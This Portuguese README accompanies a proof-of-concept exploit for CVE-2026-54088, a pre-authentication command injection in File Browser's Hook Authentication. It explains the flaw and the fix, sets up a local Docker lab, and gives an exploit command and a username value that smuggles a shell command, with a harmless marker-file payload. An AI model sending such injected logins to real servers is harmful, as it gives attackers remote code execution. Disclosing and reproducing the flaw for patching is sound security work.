Exploit de prova de conceito para CVE-2026-54088, uma injeção de comando no sistema operacional pré-autenticação no File Browser <=2.63.5. Demonstra injeção de shell via Hook Authentication para alcançar execução remota de código.
Este repositório é uma Prova de Conceito (PoC) para a vulnerabilidade crítica de injeção de comandos do sistema operacional CVE-2026-54088, presente no File Browser versão <= 2.63.5.
Esta vulnerabilidade existe na funcionalidade Hook Authentication. Se o administrador configurar o File Browser para autenticar usuários por meio de um comando externo, os campos username e password enviados no login são expandidos na string de comando configurada via os.Expand() sem escapamento. Um atacante remoto não autenticado pode injetar sintaxe de shell através da requisição de login e executar comandos arbitrários antes mesmo que a autenticação seja bem-sucedida.
Descoberto por: saku0512 (https://github.com/Saku0512)
Este projeto destina-se exclusivamente a fins educacionais e testes de segurança ética.
O autor não se responsabiliza por uso indevido, danos ou atividades ilegais decorrentes do uso desta ferramenta. O acesso não autorizado a sistemas de computador é ilegal. Utilize este software apenas em ambientes para os quais você tenha permissão explícita.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() divide o comando de autenticação configurado e expande os placeholders das credenciais usando dados da requisição controlados pelo atacante.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
Se o comando hook estiver configurado como:
sh -c $USERNAME
E um atacante enviar um username como:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
Durante a tentativa de login, o servidor executará o script de shell controlado pelo atacante. Nenhuma conta ou senha válida é necessária.
O problema foi corrigido no commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f, removendo a substituição das credenciais na string de comando do hook. O comando hook é executado como configurado, e as credenciais são passadas apenas como variáveis de ambiente.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
O loop os.Expand() vulnerável, que reescrevia os argumentos do comando com as credenciais controladas pelo atacante antes da chamada exec.Command(), foi removido. A correção também adiciona testes de regressão para garantir que as credenciais injetadas não possam modificar o comando hook e que USERNAME / PASSWORD continuem disponíveis para o hook via variáveis de ambiente.
Inicie um ambiente File Browser vulnerável. O serviço filebrowser-init cria o banco de dados e ativa o Hook Authentication com um comando vulnerável.
docker compose up -d
O alvo estará disponível em:
http://localhost:8080
Execute o script de exploit a partir deste diretório.
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
Este exploit envia uma única requisição de login não autenticada para /api/login. Espera-se que a autenticação falhe, mas o comando injetado será executado antes disso.
Abra a tela de login do File Browser no navegador.
http://localhost:8080
No formulário de login, insira os seguintes valores e clique no botão de login.
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
O login falhará, mas a execução do comando do Hook Authentication ocorre antes do retorno do resultado da autenticação. Verifique se o arquivo marcador foi criado no container através da operação GUI com o comando:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
Se o arquivo existir, confirma-se que o RCE pré-autenticação também ocorre a partir da operação de login pela GUI.
Confirme que o comando foi executado dentro do container File Browser.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
Se o arquivo existir, o RCE pré-autenticação está confirmado.
docker compose down -v
Atualize o File Browser para a versão 2.63.6 ou superior.
As credenciais não devem ser embutidas na string de comando do shell; devem ser passadas ao comando hook apenas como variáveis de ambiente. Em outros caminhos de execução de comandos, evite avaliação por shell ou realize separação estrita de argumentos e escapamento.